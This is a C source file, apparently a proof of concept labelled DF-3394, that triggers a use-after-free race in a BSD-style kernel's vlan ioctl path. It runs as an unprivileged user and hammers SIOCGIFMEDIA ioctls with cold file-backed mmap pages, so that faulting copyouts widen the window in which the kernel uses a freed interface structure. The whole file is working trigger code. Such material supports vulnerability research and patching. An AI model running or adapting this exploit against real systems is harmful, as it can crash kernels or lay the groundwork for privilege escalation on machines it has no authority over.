DF-3394 / race_query2.c
/* * DF-3394 PoC v2 (unprivileged): SIOCGIFMEDIA hammer with a cold * file-backed ifm_ulist. When vlan_ioctl() drops into the parent's * if_ioctl, the copyout to a freshly-faulted file page sleeps in the * middle of the call while holding only the (soon freed) parent's * serializer -- stretching the freed-ifnet use window from ~us to ~ms. * * usage: ./race_query2 vlan0 */ #include <sys/types.h> #include <sys/ioctl.h> #include <sys/mman.h> #include <sys/socket.h> #include <net/if.h> #include <net/if_media.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #define NPAGES 8192 /* 8192 * 4096 = 32MB of faultable pages */ int main(int argc, char *argv[]) { struct ifmediareq ifmr; int s, fd, i = 0; long n = 0, ok = 0, fail = 0; volatile int *ulist; char path[64]; if (argc < 2) { fprintf(stderr, "usage: %s ifname\n", argv[0]); return 2; } snprintf(path, sizeof(path), "/tmp/coldpages.%d", (int)getpid()); fd = open(path, O_RDWR | O_CREAT | O_TRUNC, 0600); if (fd < 0) { perror("open"); return 1; } if (ftruncate(fd, (off_t)NPAGES * 4096) != 0) { perror("ftruncate"); return 1; } unlink(path); ulist = mmap(NULL, (size_t)NPAGES * 4096, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0); if (ulist == MAP_FAILED) { perror("mmap"); return 1; } s = socket(AF_INET, SOCK_DGRAM, 0); if (s < 0) { perror("socket"); return 1; } memset(&ifmr, 0, sizeof(ifmr)); strlcpy(ifmr.ifm_name, argv[1], IFNAMSIZ); for (;;) { /* fresh cold page: MADV_DONTNEED re-faults from the file */ if (i >= NPAGES) { madvise((void *)ulist, (size_t)NPAGES * 4096, MADV_DONTNEED); i = 0; } memset(&ifmr, 0, sizeof(ifmr)); strlcpy(ifmr.ifm_name, argv[1], IFNAMSIZ); ifmr.ifm_count = 1; ifmr.ifm_ulist = (int *)(ulist + i * 1024); i++; if (ioctl(s, SIOCGIFMEDIA, &ifmr) == 0) ok++; else fail++; if (++n % 200000 == 0) { printf("iter=%ld ok=%ld fail=%ld\n", n, ok, fail); fflush(stdout); } } } |